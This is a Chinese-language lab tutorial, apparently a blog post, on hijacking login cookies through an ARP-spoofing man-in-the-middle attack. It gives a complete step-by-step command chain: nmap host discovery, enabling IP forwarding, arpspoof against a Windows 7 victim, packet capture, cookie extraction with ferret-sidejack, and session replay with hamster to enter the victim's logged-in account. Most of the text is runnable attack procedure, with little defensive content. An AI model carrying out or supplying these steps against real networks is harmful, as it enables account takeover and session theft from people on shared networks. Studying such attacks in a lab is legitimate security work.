中间人攻击劫持cookie

目录

一、原理

二、实验准备

三、实验流程

①nmap扫描存活主机

②开启抓包进行中间人攻击

③使用ferret分析cookie

④使用hamster进行cookie利用

最后

---

一、原理

前面在XSS第一章中写道过，Cookie的原理，也演示了Cookie劫持的效果

传送门

这里是通过不同方法即中间人攻击来实现cookie劫持

先对靶机进行中间人攻击同时开启抓包，靶机在成功登陆（这里使用超星）后，对流量进行处理分析从而截取cookie

二、实验准备

攻击机kali 桥接模式，靶机win7 桥接模式，cookie分析

kali中安装工具 ferret——分析Cookie

dpkg --add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386

阿里源下载这个很慢，如果慢的话换这个

 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

安装工具Hamster——利用Cookie

apt-get install hamster-sidejack

三、实验流程

①nmap扫描存活主机

攻击机扫描当前网段，拿到win7的ip

nmap -sn 172.20.10.* 

这里是我的网段，记得改成自己的网段

扫描到win7的ip为172.20.10.12

网关为127.20.10.1

②开启抓包进行中间人攻击

注：记得把流量转发开了，要不然就是断网攻击了

开启流量转发：

cho 1 >/proc/sys/net/ipv4/ip_forward

开启wireshark选择eth0

发起中间人攻击

arpspoof -i eth0 -t 网关 靶机ip -r 

 使用靶机登陆任意网站

 登陆完成后返回kali关闭中间人攻击，将劫持的流量文件保存为.pacp文件

③使用ferret分析cookie

处理流量生成Cookies文件hasmter.txt

ferret-sidejack -r test.pacp 

可以看到提取到了cookie文件，并且生成了hamster.txt

④使用hamster进行cookie利用

启动hamster

hamster-sidejack

这里提示浏览器设置代理127.0.0.1:1234

设置完之后访问 127.0.0.1:1234

进入这个页面，看到这个172.20.10.12了嘛，眼熟就是win7的ip

点击进入

看到很多链接，随便点一个看到这些东西，因为这些链接都是中间过程不是网页，我们找到刚才用靶机登陆的域名

 

 可以看到直接就进入了个人主页，没有让我们登陆，直接可以用win7登陆的账号操作

最后

在win7中进行注销，cookie对应的session就销毁了，这个cookie也就没用了